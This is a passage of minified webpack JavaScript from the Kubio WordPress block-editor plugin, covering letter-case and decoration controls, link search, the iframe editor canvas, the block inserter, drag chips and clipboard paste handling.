16.8c-.1-.1-.2-.3-.3-.5v-2.6c0-.9-.1-1.7-.3-2.2-.2-.5-.5-.9-.9-1.2-.4-.2-.9-.3-1.6-.3-.5 0-1 .1-1.5.2s-.9.3-1.2.6l.2 1.2c.4-.3.7-.4 1.1-.5.3-.1.7-.2 1-.2.6 0 1 .1 1.3.4.3.2.4.7.4 1.4-1.2 0-2.3.2-3.3.7s-1.4 1.1-1.4 2.1c0 .7.2 1.2.7 1.6.4.4 1 .6 1.8.6.9 0 1.7-.4 2.4-1.2.1.3.2.5.4.7.1.2.3.3.6.4.3.1.6.1 1.1.1h.1l.2-1.2h-.1c-.4.1-.6 0-.7-.1zM9.2 16c-.2.3-.5.6-.9.8-.3.1-.7.2-1.1.2-.4 0-.7-.1-.9-.3-.2-.2-.3-.5-.3-.9 0-.6.2-1 .7-1.3.5-.3 1.3-.4 2.5-.5v2zm10.6-3.9c-.3-.6-.7-1.1-1.2-1.5-.6-.4-1.2-.6-1.9-.6-.5 0-.9.1-1.4.3-.4.2-.8.5-1.1.8V6h-1.4v12h1.3l.2-1c.2.4.6.6 1 .8.4.2.9.3 1.4.3.7 0 1.2-.2 1.8-.5.5-.4 1-.9 1.3-1.5.3-.6.5-1.3.5-2.1-.1-.6-.2-1.3-.5-1.9zm-1.7 4c-.4.5-.9.8-1.6.8s-1.2-.2-1.7-.7c-.4-.5-.7-1.2-.7-2.1 0-.9.2-1.6.7-2.1.4-.5 1-.7 1.7-.7s1.2.3 1.6.8c.4.5.6 1.2.6 2s-.2 1.4-.6 2z"})),b=Object(o.createElement)(s.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(s.Path,{d:"M7.1 6.8L3.1 18h1.6l1.1-3h4.3l1.1 3h1.6l-4-11.2H7.1zm-.8 6.8L8 8.9l1.7 4.7H6.3zm14.5-1.5c-.3-.6-.7-1.1-1.2-1.5-.6-.4-1.2-.6-1.9-.6-.5 0-.9.1-1.4.3-.4.2-.8.5-1.1.8V6h-1.4v12h1.3l.2-1c.2.4.6.6 1 .8.4.2.9.3 1.4.3.7 0 1.2-.2 1.8-.5.5-.4 1-.9 1.3-1.5.3-.6.5-1.3.5-2.1-.1-.6-.2-1.3-.5-1.9zm-1.7 4c-.4.5-.9.8-1.6.8s-1.2-.2-1.7-.7c-.4-.5-.7-1.2-.7-2.1 0-.9.2-1.6.7-2.1.4-.5 1-.7 1.7-.7s1.2.3 1.6.8c.4.5.6 1.2.6 2 .1.8-.2 1.4-.6 2z"}));const p=[{name:Object(i.__)("None","kubio"),value:"none",icon:a.a},{name:Object(i.__)("Uppercase","kubio"),value:"uppercase",icon:u},{name:Object(i.__)("Lowercase","kubio"),value:"lowercase",icon:d},{name:Object(i.__)("Capitalize","kubio"),value:"capitalize",icon:b}];function m(e){let{className:t,value:n,onChange:r}=e;return Object(o.createElement)("fieldset",{className:l()("block-editor-text-transform-control",t)},Object(o.createElement)(c.BaseControl.VisualLabel,{as:"legend"},Object(i.__)("Letter case","kubio")),Object(o.createElement)("div",{className:"block-editor-text-transform-control__buttons"},p.map((e=>Object(o.createElement)(c.Button,{key:e.value,icon:e.icon,label:e.name,isPressed:e.value===n,onClick:()=>{r(e.value===n?void 0:e.value)}})))))}},function(e,t,n){"use strict";var o=n(0),r=n(13),l=n.n(r),c=n(11),i=n(1),a=n(60),s=n(244),u=n(88),d=n(35),b=n(7);function p(e){const t=null==e?void 0:e.startsWith("#");return Object(d.isURL)(e)||e&&e.includes("www.")||t}var m=n(14);const f=()=>Promise.resolve([]),g=e=>{let t=u.g;const n=Object(d.getProtocol)(e)||"";return n.includes("mailto")&&(t=u.e),n.includes("tel")&&(t=u.f),null!=e&&e.startsWith("#")&&(t=u.c),Promise.resolve([{id:e,title:e,url:"URL"===t?Object(d.prependHTTP)(e):e,type:t}])},h=()=>Promise.resolve([]),v=()=>{},O=Object(o.forwardRef)(((e,t)=>{let{value:n,children:r,currentLink:d={},className:k=null,placeholder:j=null,withCreateSuggestion:_=!1,onCreateSuggestion:y=v,onChange:E=v,onSelect:S=v,showSuggestions:C=!0,renderSuggestions:w=(e=>Object(o.createElement)(s.a,e)),fetchSuggestions:B=null,allowDirectEntry:I=!0,showInitialSuggestions:x=!1,suggestionsQuery:T={},withURLSuggestion:N=!0,createSuggestionButtonText:M,useLabel:P=!1}=e;const L=function(e,t,n,r){const{fetchSearchSuggestions:l,pageOnFront:c}=Object(b.useSelect)((e=>{const{getSettings:t}=e(m.a);return{pageOnFront:t().pageOnFront,fetchSearchSuggestions:t().__experimentalFetchLinkSuggestions}}),[]),i=t?g:f;return Object(o.useCallback)(((t,o)=>{let{isInitialSuggestions:a}=o;return p(t)?i(t,{isInitialSuggestions:a}):(async(e,t,n,o,r,l,c)=>{const{isInitialSuggestions:i}=t;let a=!1,s=await Promise.all([n(e,t),o(e)]);s[0]=s[0].map((e=>Number(e.id)===c?(a=!0,e.isFrontPage=!0,e):e));const d=!e.includes(" ");return s=!a&&d&&l&&!i?s[0].concat(s[1]):s[0],i||p(e)||!r?s:s.concat({title:e,url:e,type:u.a})})(t,{...e,isInitialSuggestions:a},l,i,n,r,c)}),[i,l,n])}(T,I,_,N),R=C?B||L:h,A=Object(c.useInstanceId)(O),[D,F]=Object(o.useState)(),z=async e=>{let t=e;if(u.a!==e.type){if(I||t&&Object.keys(t).length>=1){const{id:e,url:n,...o}=null!=d?d:{};S({...o,...t},t)}}else try{var n;t=await y(e.title),null!==(n=t)&&void 0!==n&&n.url&&S(t)}catch(e){}},V=l()(k,{"has-no-label":!P});return Object(o.createElement)("div",{className:"block-editor-link-control__search-input-container"},Object(o.createElement)(a.hb,{__nextHasNoMarginBottom:!0,label:P?"URL":void 0,className:V,value:n,onChange:(e,t)=>{E(e),F(t)},placeholder:null!=j?j:Object(i.__)("Search or type url","kubio"),__experimentalRenderSuggestions:C?e=>w({...e,instanceId:A,withCreateSuggestion:_,createSuggestionButtonText:M,suggestionsQuery:T,handleSuggestionClick:t=>{e.handleSuggestionClick&&e.handleSuggestionClick(t),z(t)}}):null,__experimentalFetchLinkSuggestions:R,__experimentalHandleURLSuggestions:!0,__experimentalShowInitialSuggestions:x,onSubmit:(e,t)=>{var o;const r=e||D;r||null!=n&&null!==(o=n.trim())&&void 0!==o&&o.length?z(r||{url:n}):t.preventDefault()},ref:t}),r)}));t.a=O},function(e,t,n){"use strict";n.d(t,"a",(function(){return p}));var o=n(0),r=n(13),l=n.n(r),c=n(3),i=n(681),a=n(5),s=Object(o.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(a.Path,{d:"M7 18v1h10v-1H7zm5-2c1.5 0 2.6-.4 3.4-1.2.8-.8 1.1-2 1.1-3.5V5H15v5.8c0 1.2-.2 2.1-.6 2.8-.4.7-1.2 1-2.4 1s-2-.3-2.4-1c-.4-.7-.6-1.6-.6-2.8V5H7.5v6.2c0 1.5.4 2.7 1.1 3.5.8.9 1.9 1.3 3.4 1.3z"})),u=Object(o.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(a.Path,{d:"M9.1 9v-.5c0-.6.2-1.1.7-1.4.5-.3 1.2-.5 2-.5.7 0 1.4.1 2.1.3.7.2 1.4.5 2.1.9l.2-1.9c-.6-.3-1.2-.5-1.9-.7-.8-.1-1.6-.2-2.4-.2-1.5 0-2.7.3-3.6 1-.8.7-1.2 1.5-1.2 2.6V9h2zM20 12H4v1h8.3c.3.1.6.2.8.3.5.2.9.5 1.1.8.3.3.4.7.4 1.2 0 .7-.2 1.1-.8 1.5-.5.3-1.2.5-2.1.5-.8 0-1.6-.1-2.4-.3-.8-.2-1.5-.5-2.2-.8L7 18.1c.5.2 1.2.4 2 .6.8.2 1.6.3 2.4.3 1.7 0 3-.3 3.9-1 .9-.7 1.3-1.6 1.3-2.8 0-.9-.2-1.7-.7-2.2H20v-1z"})),d=n(1);const b=[{name:Object(d.__)("None","kubio"),value:"none",icon:i.a},{name:Object(d.__)("Underline","kubio"),value:"underline",icon:s},{name:Object(d.__)("Strikethrough","kubio"),value:"line-through",icon:u}];function p(e){let{value:t,onChange:n,className:r}=e;return Object(o.createElement)("fieldset",{className:l()("block-editor-text-decoration-control",r)},Object(o.createElement)(c.BaseControl.VisualLabel,{as:"legend"},Object(d.__)("Decoration","kubio")),Object(o.createElement)("div",{className:"block-editor-text-decoration-control__buttons"},b.map((e=>Object(o.createElement)(c.Button,{key:e.value,icon:e.icon,label:e.name,isPressed:e.value===t,onClick:()=>{n(e.value===t?void 0:e.value)}})))))}},function(e,t,n){"use strict";var o=n(8),r=n(0),l=n(13),c=n.n(l),i=n(1),a=n(11),s=n(3),u=n(7),d=n(141),b=n(237),p=n(14);function m(e){return Object(r.useMemo)((()=>{const t=document.implementation.createHTMLDocument("");return t.body.innerHTML=e,Array.from(t.body.children)}),[e])}function f(e){let{contentRef:t,children:n,head:l,tabIndex:f=0,scale:g=1,frameSize:h=0,readonly:v,forwardedRef:O,...k}=e;const j=Object(u.useSelect)((e=>e(p.a).getSettings().__unstableResolvedAssets),[]),[,_]=Object(r.useReducer)((()=>({}))),[y,E]=Object(r.useState)(),[S,C]=Object(r.useState)([]),w=m(null==j?void 0:j.styles),B=w.map((e=>e.id)),I=Object(r.useMemo)((()=>Array.from(document.styleSheets).reduce(((e,t)=>{try{t.cssRules}catch(t){return e}const{ownerNode:n,cssRules:o}=t;if(null===n)return e;if(!o)return e;if("LINK"!==n.tagName)return e;if("wp-reset-editor-styles-css"===n.id)return e;if(function e(t){return Array.from(t).find((t=>{let{selectorText:n,conditionText:o,cssRules:r}=t;return o?e(r):n&&(n.includes(".editor-styles-wrapper")||n.includes(".wp-block"))}))}(o)){e.push(n.cloneNode(!0));const t=n.id.replace("-css","-inline-css"),o=document.getElementById(t);o&&e.push(o.cloneNode(!0))}return e}),[])),[]).filter((e=>!B.includes(e.id))),x=m(null==j?void 0:j.scripts),T=Object(d.b)(),[N,M,P]=Object(b.b)(),[L,{height:R}]=Object(a.useResizeObserver)(),A=Object(a.useRefEffect)((e=>{let t;function n(e){e.preventDefault()}function o(){const{contentDocument:o,ownerDocument:r}=e,{readyState:l,documentElement:c}=o;return t=o,("interactive"===l||"complete"===l)&&(function(e){const{defaultView:t}=e,{frameElement:n}=t;function o(e){const o=Object.getPrototypeOf(e).constructor.name,r=window[o],l={};for(const t in e)l[t]=e[t];if(e instanceof t.MouseEvent){const e=n.getBoundingClientRect();l.clientX+=e.left,l.clientY+=e.top}const c=new r(e.type,l);!n.dispatchEvent(c)&&e.preventDefault()}const r=["dragover"];for(const t of r)e.addEventListener(t,o)}(o),E(o),T(c),C(Array.from(r.body.classList).filter((e=>e.startsWith("admin-color-")||e.startsWith("post-type-")||"wp-embed-responsive"===e))),o.dir=r.dir,c.removeChild(o.head),c.removeChild(o.body),t.addEventListener("dragover",n,!1),t.addEventListener("drop",n,!1),!0)}return e.addEventListener("load",o),()=>{var r,l;e.removeEventListener("load",o),null===(r=t)||void 0===r||r.removeEventListener("dragover",n),null===(l=t)||void 0===l||l.removeEventListener("drop",n)}}),[]),D=Object(a.useRefEffect)((e=>{x.reduce(((t,n)=>t.then((()=>async function(e,t){let{id:n,src:o}=t;return new Promise(((t,r)=>{const l=e.ownerDocument.createElement("script");l.id=n,o?(l.src=o,l.onload=()=>t(),l.onerror=()=>r()):t(),e.appendChild(l)}))}(e,n)))),Promise.resolve()).finally((()=>{_()}))}),[]),F=Object(a.useDisabled)({isDisabled:!v}),z=Object(a.useMergeRefs)([t,T,M,F]),V=Object(r.createElement)(r.Fragment,null,Object(r.createElement)("style",null,"html{height:auto!important;}body{margin:0}"),[...w,...I].map((e=>{let{tagName:t,href:n,id:o,rel:l,media:c,textContent:i}=e;const a=t.toLowerCase();return"style"===a?Object(r.createElement)(a,{id:o,key:o},i):Object(r.createElement)(a,{href:n,id:o,rel:l,media:c,key:o})}))),H=Object(r.useMemo)((()=>"<!doctype html>"+Object(r.renderToString)(V)),[]);return Object(r.createElement)(r.Fragment,null,f>=0&&N,Object(r.createElement)("iframe",Object(o.a)({},k,{ref:Object(a.useMergeRefs)([O,A]),tabIndex:f,srcDoc:H,title:Object(i.__)("Editor canvas","kubio")}),y&&Object(r.createPortal)(Object(r.createElement)(r.Fragment,null,Object(r.createElement)("head",{ref:D},V,l,Object(r.createElement)("style",null,`html { transition: background 5s; ${h?"background: #2f2f2f; transition: background 0s;":""} }`)),Object(r.createElement)("body",{ref:z,className:c()("block-editor-iframe__body","editor-styles-wrapper",...S),style:{marginBottom:`-${R*(1-g)-h}px`,marginTop:h,transform:`scale( ${g} )`}},L,Object(r.createElement)(s.__experimentalStyleProvider,{document:y},n))),y.documentElement)),f>=0&&P)}t.a=Object(r.forwardRef)((function(e,t){return Object(u.useSelect)((e=>e(p.a).getSettings().__internalIsInitialized),[])?Object(r.createElement)(f,Object(o.a)({},e,{forwardedRef:t})):null}))},function(e,t,n){"use strict";n.d(t,"a",(function(){return m}));var o=n(8),r=n(1),l=n(3),c=n(13),i=n.n(c),a=n(0),s=n(120),u=n(315),d=e=>{let t,{searchTerm:n,onClick:c,itemProps:d,isSelected:b,buttonText:p}=e;return n?(t=p?"function"==typeof p?p(n):p:Object(a.createInterpolateElement)(Object(r.sprintf)(/* translators: %s: search term. */Object(r.__)("Create: <mark>%s</mark>","kubio"),n),{mark:Object(a.createElement)("mark",null)}),Object(a.createElement)(l.Button,Object(o.a)({},d,{className:i()("block-editor-link-control__search-create block-editor-link-control__search-item",{"is-selected":b}),onClick:c}),Object(a.createElement)(s.a,{className:"block-editor-link-control__search-item-icon",icon:u.a}),Object(a.createElement)("span",{className:"block-editor-link-control__search-item-header"},Object(a.createElement)("span",{className:"block-editor-link-control__search-item-title"},t)))):null},b=n(239),p=n(88);function m(e){let{instanceId:t,withCreateSuggestion:n,currentInputValue:c,handleSuggestionClick:s,suggestionsListProps:u,buildSuggestionItemProps:m,suggestions:f,selectedSuggestion:g,isLoading:h,isInitialSuggestions:v,createSuggestionButtonText:O,suggestionsQuery:k}=e;const j=i()("block-editor-link-control__search-results",{"is-loading":h}),_=1===f.length&&p.d.includes(f[0].type),y=n&&!_&&!v,E=!(null!=k&&k.type),S=`block-editor-link-control-search-results-label-${t}`,C=v?Object(r.__)("Recently updated","kubio"):Object(r.sprintf)(/* translators: %s: search term. */Object(r.__)('Search results for "%s"',"kubio"),c),w=Object(a.createElement)(v?a.Fragment:l.VisuallyHidden,{},Object(a.createElement)("span",{className:"block-editor-link-control__search-results-label",id:S},C));return Object(a.createElement)("div",{className:"block-editor-link-control__search-results-wrapper"},w,Object(a.createElement)("div",Object(o.a)({},u,{className:j,"aria-labelledby":S}),f.map(((e,t)=>y&&p.a===e.type?Object(a.createElement)(d,{searchTerm:c,buttonText:O,onClick:()=>s(e),key:e.type,itemProps:m(e,t),isSelected:t===g}):p.a===e.type?null:Object(a.createElement)(b.a,{key:`${e.id}-${e.type}`,itemProps:m(e,t),suggestion:e,index:t,onClick:()=>{s(e)},isSelected:t===g,isURL:p.d.includes(e.type),searchTerm:c,shouldShowType:E,isFrontPage:null==e?void 0:e.isFrontPage})))))}},function(e,t,n){"use strict";var o=n(8),r=n(0),l=n(48),c=n.n(l),i=n(1),a=n(3);t.a=e=>{let{value:t,onChange:n,__nextHasNoMarginBottom:l=!1,__unstableInputWidth:s="60px",...u}=e;const d=function(e){return void 0!==e&&""!==e}(t),b=d?t:"";l||c()("Bottom margin styles for wp.blockEditor.LineHeightControl",{since:"6.0",version:"6.4",hint:"Set the `__nextHasNoMarginBottom` prop to true to start opting into the new styles, which will become the default in a future version"});const p=l?void 0:{marginBottom:24};return Object(r.createElement)("div",{className:"block-editor-line-height-control",style:p},Object(r.createElement)(a.__experimentalNumberControl,Object(o.a)({},u,{__unstableInputWidth:s,__unstableStateReducer:(e,t)=>{var n;const o=["insertText","insertFromPaste"].includes(null===(n=t.payload.event.nativeEvent)||void 0===n?void 0:n.inputType),r=((e,t)=>{if(d)return e;switch(`${e}`){case"0.1":return 1.6;case"0":return t?e:1.4;case"":return 1.5;default:return e}})(e.value,o);return{...e,value:r}},onChange:n,label:Object(i.__)("Line height","kubio"),placeholder:1.5,step:.1,value:b,min:0,spinControls:"custom"})))}},function(e,t){!function(){e.exports=this.wp.warning}()},function(e,t,n){"use strict";var o=n(0),r=n(13),l=n.n(r),c=n(11),i=n(1),a=n(3),s=n(314),u=n(120),d=n(222);t.a=function e(t){let{className:n,onChange:r,value:b,label:p,placeholder:m}=t;const f=Object(c.useInstanceId)(e),g=Object(o.useRef)();return Object(o.createElement)("div",{className:l()("block-editor-inserter__search",n)},Object(o.createElement)(a.VisuallyHidden,{as:"label",htmlFor:`block-editor-inserter__search-${f}`},p||m),Object(o.createElement)("input",{ref:g,className:"block-editor-inserter__search-input",id:`block-editor-inserter__search-${f}`,type:"search",placeholder:m,onChange:e=>r(e.target.value),autoComplete:"off",value:b||""}),Object(o.createElement)("div",{className:"block-editor-inserter__search-icon"},!!b&&Object(o.createElement)(a.Button,{icon:s.a,label:Object(i.__)("Reset search","kubio"),onClick:()=>{r(""),g.current.focus()}}),!b&&Object(o.createElement)(u.a,{icon:d.a})))}},function(e,t,n){"use strict";var o=n(0),r=n(3),l=n(7),c=n(249);const i=e=>{let{length:t,icon:n}=e;return Object(o.createElement)(c.a,{count:t,icon:n})},a="kubio-dragging-from-inserter--active";t.a=e=>{let{isEnabled:t,blocks:n,icon:c,children:s}=e;const u={type:"inserter",blocks:n},{hideInsertionPoint:d}=Object(l.useDispatch)("core/block-editor");return Object(o.createElement)(r.Draggable,{__experimentalTransferDataType:"wp-blocks",transferData:u,__experimentalDragComponent:Object(o.createElement)(i,{length:(null==n?void 0:n.length)||0,icon:c})},(e=>{let{onDraggableStart:n,onDraggableEnd:o}=e;return s({draggable:t,onDragStart:t?function(){window.kubioDraggingData=u,d(),n(...arguments),setTimeout((()=>{const e=top.document.querySelector("body");e.classList.contains(a)||e.classList.add(a)}),10)}:void 0,onDragEnd:t?function(){o(...arguments),top.requestIdleCallback((()=>{setTimeout((()=>top.document.body.classList.remove(a)),10)}))}:void 0})}))}},function(e,t,n){"use strict";n.d(t,"a",(function(){return a}));var o=n(0),r=n(1),l=n(3),c=n(250),i=n(55);function a(e){let{count:t,icon:n,isPattern:a}=e;const s=a&&Object(r.__)("Pattern","kubio");return Object(o.createElement)("div",{className:"block-editor-block-draggable-chip-wrapper"},Object(o.createElement)("div",{className:"block-editor-block-draggable-chip","data-testid":"block-draggable-chip"},Object(o.createElement)(l.Flex,{justify:"center",className:"block-editor-block-draggable-chip__content"},Object(o.createElement)(l.FlexItem,null,n?Object(o.createElement)(i.a,{icon:n}):s||Object(r.sprintf)(/* translators: %d: Number of blocks. */Object(r._n)("%d block","%d blocks",t,"kubio"),t)),Object(o.createElement)(l.FlexItem,null,Object(o.createElement)(i.a,{icon:c.a})))))}},function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{width:"24",height:"24",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(r.Path,{d:"M8 7h2V5H8v2zm0 6h2v-2H8v2zm0 6h2v-2H8v2zm6-14v2h2V5h-2zm0 8h2v-2h-2v2zm0 6h2v-2h-2v2z"}));t.a=l},function(e,t,n){"use strict";n.d(t,"a",(function(){return a}));var o=n(0),r=n(7),l=n(12),c=n(14);const i=()=>{};function a(e){let{clientId:t=null,value:n,selection:a,onChange:s=i,onInput:u=i}=e;const d=Object(r.useRegistry)(),{resetBlocks:b,resetSelection:p,replaceInnerBlocks:m,setHasControlledInnerBlocks:f,__unstableMarkNextChangeAsNotPersistent:g}=d.dispatch(c.a),{getBlockName:h,getBlocks:v}=d.select(c.a),O=Object(r.useSelect)((e=>!t||e(c.a).areInnerBlocksControlled(t)),[t]),k=Object(o.useRef)({incoming:null,outgoing:[]}),j=Object(o.useRef)(!1),_=()=>{n&&(g(),t?d.batch((()=>{f(t,!0);const e=n.map((e=>Object(l.cloneBlock)(e)));j.current&&(k.current.incoming=e),g(),m(t,e)})):(j.current&&(k.current.incoming=n),b(n)))},y=Object(o.useRef)(u),E=Object(o.useRef)(s);Object(o.useEffect)((()=>{y.current=u,E.current=s}),[u,s]),Object(o.useEffect)((()=>{k.current.outgoing.includes(n)?k.current.outgoing[k.current.outgoing.length-1]===n&&(k.current.outgoing=[]):v(t)!==n&&(k.current.outgoing=[],_(),a&&p(a.selectionStart,a.selectionEnd,a.initialPosition))}),[n,t]),Object(o.useEffect)((()=>{O||(k.current.outgoing=[],_())}),[O]),Object(o.useEffect)((()=>{const{getSelectionStart:e,getSelectionEnd:n,getSelectedBlocksInitialCaretPosition:o,isLastBlockChangePersistent:r,__unstableIsLastBlockChangeIgnored:l,areInnerBlocksControlled:i}=d.select(c.a);let a=v(t),s=r(),u=!1;j.current=!0;const b=d.subscribe((()=>{if(null!==t&&null===h(t))return;if(t&&!i(t))return;const c=r(),d=v(t),b=d!==a;if(a=d,b&&(k.current.incoming||l()))return k.current.incoming=null,void(s=c);(b||u&&!b&&c&&!s)&&(s=c,k.current.outgoing.push(a),(s?E.current:y.current)(a,{selection:{selectionStart:e(),selectionEnd:n(),initialPosition:o()}})),u=b}));return()=>b()}),[d,t])}},function(e,t,n){"use strict";t.__esModule=!0;var o=n(416);t.default=o.TextareaAutosize},function(e,t,n){"use strict";var o=n(8),r=n(0),l=n(13),c=n.n(l),i=n(7),a=n(3),s=n(1),u=n(14),d=n(71),b=n(148),p=n(2);Object(r.createContext)(),t.a=function(e){let{previousClientId:t,nextClientId:n,children:l,__unstablePopoverSlot:m,__unstableContentRef:f,kubioInsertionEdge:g,...h}=e;const[v,O]=Object(r.useReducer)((e=>e+1),0),{orientation:k,rootClientId:j,isVisible:_}=Object(i.useSelect)((e=>{var o;const{getBlockListSettings:r,getBlockRootClientId:l,isBlockVisible:c}=e(u.a),i=l(null!=t?t:n);return{orientation:(null===(o=r(i))||void 0===o?void 0:o.orientation)||"vertical",rootClientId:i,isVisible:!Object(p.isFunction)(c)||c(t)&&c(n)}}),[t,n]),y=Object(d.a)(t),E=Object(d.a)(n),S="vertical"===k,C=Object(r.useMemo)((()=>{if(!y&&!E||!_)return{};const e=y?y.getBoundingClientRect():null,t=E?E.getBoundingClientRect():null;if(S)return{width:e?e.width:t.width,height:t&&e?t.top-e.bottom:0};let n=0;return e&&t&&(n=Object(s.isRTL)()?e.left-t.right:t.left-e.right),{width:n,height:e?e.height:t.height}}),[y,E,S,v,_]),w=Object(r.useCallback)((()=>{if(!g&&!y&&!E||!_)return{};const{ownerDocument:e}=y||E;let t=y?y.getBoundingClientRect():null;const n=E?E.getBoundingClientRect():null;return"top"===g&&(t=null),"bottom"===g&&(t=n),t||n?S?Object(s.isRTL)()?{top:t?t.bottom:n.top,left:t?t.right:n.right,right:t?t.right:n.right,bottom:t?t.bottom:n.top,height:0,width:0,ownerDocument:e}:{top:t?t.bottom:n.top,left:t?t.left:n.left,right:t?t.left:n.left,bottom:t?t.bottom:n.top,height:0,width:0,ownerDocument:e}:Object(s.isRTL)()?{top:t?t.top:n.top,left:t?t.left:n.right,right:t?t.left:n.right,bottom:t?t.top:n.top,height:0,width:0,ownerDocument:e}:{top:t?t.top:n.top,left:t?t.right:n.left,right:t?t.right:n.left,bottom:t?t.left:n.right,height:0,width:0,ownerDocument:e}:{top:0,left:0,right:0,bottom:0,height:0,width:0,ownerDocument:e}}),[y,E,v,_]),B=Object(b.a)(f);return Object(r.useLayoutEffect)((()=>{if(!y)return;const e=new window.MutationObserver(O);return e.observe(y,{attributes:!0}),()=>{e.disconnect()}}),[y]),Object(r.useLayoutEffect)((()=>{if(!E)return;const e=new window.MutationObserver(O);return e.observe(E,{attributes:!0}),()=>{e.disconnect()}}),[E]),Object(r.useLayoutEffect)((()=>{if(y)return y.ownerDocument.defaultView.addEventListener("resize",O),()=>{y.ownerDocument.defaultView.removeEventListener("resize",O)}}),[y]),(y||E)&&_?Object(r.createElement)(a.Popover,Object(o.a)({ref:B,animate:!1,getAnchorRect:w,focusOnMount:!1,__unstableSlotName:m||null,key:n+"--"+j},h,{className:c()("block-editor-block-popover","block-editor-block-popover__inbetween",g?`kubio-editor-block-popover__inbetween-${g}`:"",h.className),resize:!1,flip:!1,placement:"bottom-start"}),Object(r.createElement)("div",{className:"block-editor-block-popover__inbetween-container",style:C},l)):null}},function(e,t,n){"use strict";var o=n(8),r=n(0),l=n(13),c=n.n(l),i=n(1),a=n(12),s=n(7),u=n(164),d=n(235),b=n(14);t.a=function(e){let{focusOnMount:t,isFixed:n,...l}=e;const{blockType:p,hasParents:m,showParentSelector:f}=Object(s.useSelect)((e=>{const{getBlockName:t,getBlockParents:n,getSelectedBlockClientIds:o,__unstableGetContentLockingParent:r}=e(b.a),{getBlockType:l}=e(a.store),c=o(),i=c[0],s=n(i),u=l(t(s[s.length-1]));return{blockType:i&&l(t(i)),hasParents:s.length,showParentSelector:u&&Object(a.hasBlockSupport)(u,"__experimentalParentSelector",!0)&&c.length<=1&&!r(i)}}),[]);if(p&&!Object(a.hasBlockSupport)(p,"__experimentalToolbar",!0))return null;const g=c()("block-editor-block-contextual-toolbar",{"has-parent":m&&f,"is-fixed":n});return Object(r.createElement)(u.a,Object(o.a)({focusOnMount:t,className:g/* translators: accessibility text for the block toolbar */,"aria-label":Object(i.__)("Block tools","kubio")},l),Object(r.createElement)(d.a,{hideDragHandle:n}))}},function(e,t,n){"use strict";n.d(t,"a",(function(){return a}));var o=n(7),r=n(12),l=n(0),c=n(134),i=n(14);function a(e){let{clientId:t,onSwitch:n}=e;const{styles:a,block:s,blockType:u,className:d}=Object(o.useSelect)((e=>{const{getBlock:n}=e(i.a),o=n(t);if(!o)return{};const l=Object(r.getBlockType)(o.name),{getBlockStyles:c}=e(r.store);return{block:o,blockType:l,styles:c(o.name),className:o.attributes.className||""}}),[t]),{updateBlockAttributes:b}=Object(o.useDispatch)(i.a),p=Object(c.c)(a),m=Object(c.a)(p,d),f=function(e,t){return Object(l.useMemo)((()=>{const n=null==t?void 0:t.example,o=null==t?void 0:t.name;return n&&o?Object(r.getBlockFromExample)(o,{attributes:n.attributes,innerBlocks:n.innerBlocks}):e?Object(r.cloneBlock)(e):void 0}),[null!=t&&t.example?null==e?void 0:e.name:e,t])}(s,u);return{onSelect:e=>{const o=Object(c.d)(d,m,e);b(t,{className:o}),n()},stylesToRender:p,activeStyle:m,genericPreviewBlock:f,className:d}}},function(e,t,n){"use strict";n.d(t,"a",(function(){return r})),n.d(t,"b",(function(){return l}));var o=n(42);function r(e){let{clipboardData:t}=e,n="",r="";try{n=t.getData("text/plain"),r=t.getData("text/html")}catch(e){try{r=t.getData("Text")}catch(e){return}}const c=Object(o.getFilesFromDataTransfer)(t);return c.length&&!l(c,r)?{files:c}:{html:r,plainText:n,files:[]}}function l(e,t){if(t&&1===(null==e?void 0:e.length)&&0===e[0].type.indexOf("image/")){var n;const e=/<\s*img\b/gi;if(1!==(null===(n=t.match(e))||void 0===n?void 0:n.length))return!0;const o=/<\s*img\b[^>]*\bsrc="file:\/\//i;if(t.match(o))return!0}return!1}},function(e,t){"function"==typeof Object.create?e.exports=function(e,t){t&&(e.super_=t,e.prototype=Object.create(t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}))}:e.exports=function(e,t){if(t){e.super_=t;var n=function(){};n.prototype=t.prototype,e.prototype=new n,e.prototype.constructor=e}}},function(e,t,n){"use strict";var o=n(8),r=n(0),l=n(19),c=n(63),i=n(12),a=n(3),s=n(11),u=n(7),d=n(1),b=n(120),p=n(2),m=n(112),f=n(230),g=n(115),h=n(174),v=n(123),O=n(125),k=n(131);const j=e=>{let{filteredBlockTypes:t,...n}=e;const c=Object(r.useMemo)((()=>t.filter((e=>{let{name:t}=e;return Object(l.isGutentagPrefixed)(t)}))),[t]),i=Object(r.useMemo)((()=>t.filter((e=>{let{name:t}=e;return!Object(p.find)(c,{name:t})}))),[t]),a=[{label:Object(d.__)("Kubio blocks","kubio"),icon:null,blockTypes:c},{label:Object(d.__)("General blocks","kubio"),icon:null,blockTypes:i}].filter((e=>{let{blockTypes:t}=e;return t&&t.length}));return 1===a.length?Object(r.createElement)(m.a,Object(o.a)({items:a[0].blockTypes},n)):a.map((e=>{let{icon:t,label:l,blockTypes:c}=e;return Object(r.createElement)("div",{key:`inserter-${l}-container`},Object(r.createElement)("div",{key:`inserter-${l}-label`,className:"block-editor-inserter__panel-header"},Object(r.createElement)("h2",{className:"block-editor-inserter__panel-title"},l),t&&Object(r.createElement)(b.a,{icon:t})),Object(r.createElement)("div",{key:`inserter-${l}-cotent`,className:"block-editor-inserter__panel-content"},Object(r.createElement)(m.a,Object(o.a)({items:c},n))))}))};t.a=function(e){let{filterValue:t,onSelect:n,onHover:o,rootClientId:b,clientId:_,isAppender:y,maxBlockTypes:E,showBlockDirectory:S=!1,isDraggable:C=!0,shouldFocusBlock:w=!0,shouldSelectBlock:B=!0,isQuick:I=!1,ownerDocument:x,kubioInsertPosition:T}=e;const N=Object(s.useDebounce)(c.speak,500),M=Object(u.useSelect)((e=>e(i.store).getBlockType)),[P,L]=Object(h.a)({onSelect:n,rootClientId:b,clientId:_,isAppender:y,shouldFocusBlock:w,shouldSelectBlock:B,ownerDocument:x,kubioInsertPosition:T}),[R,A,D,F]=Object(g.a)(P,L),z=Object(r.useMemo)((()=>{let e=[];if(Object(p.isEmpty)(t)&&I&&(e=R.filter((e=>{var t,n,o;let{name:r}=e;return null===(t=M(r))||void 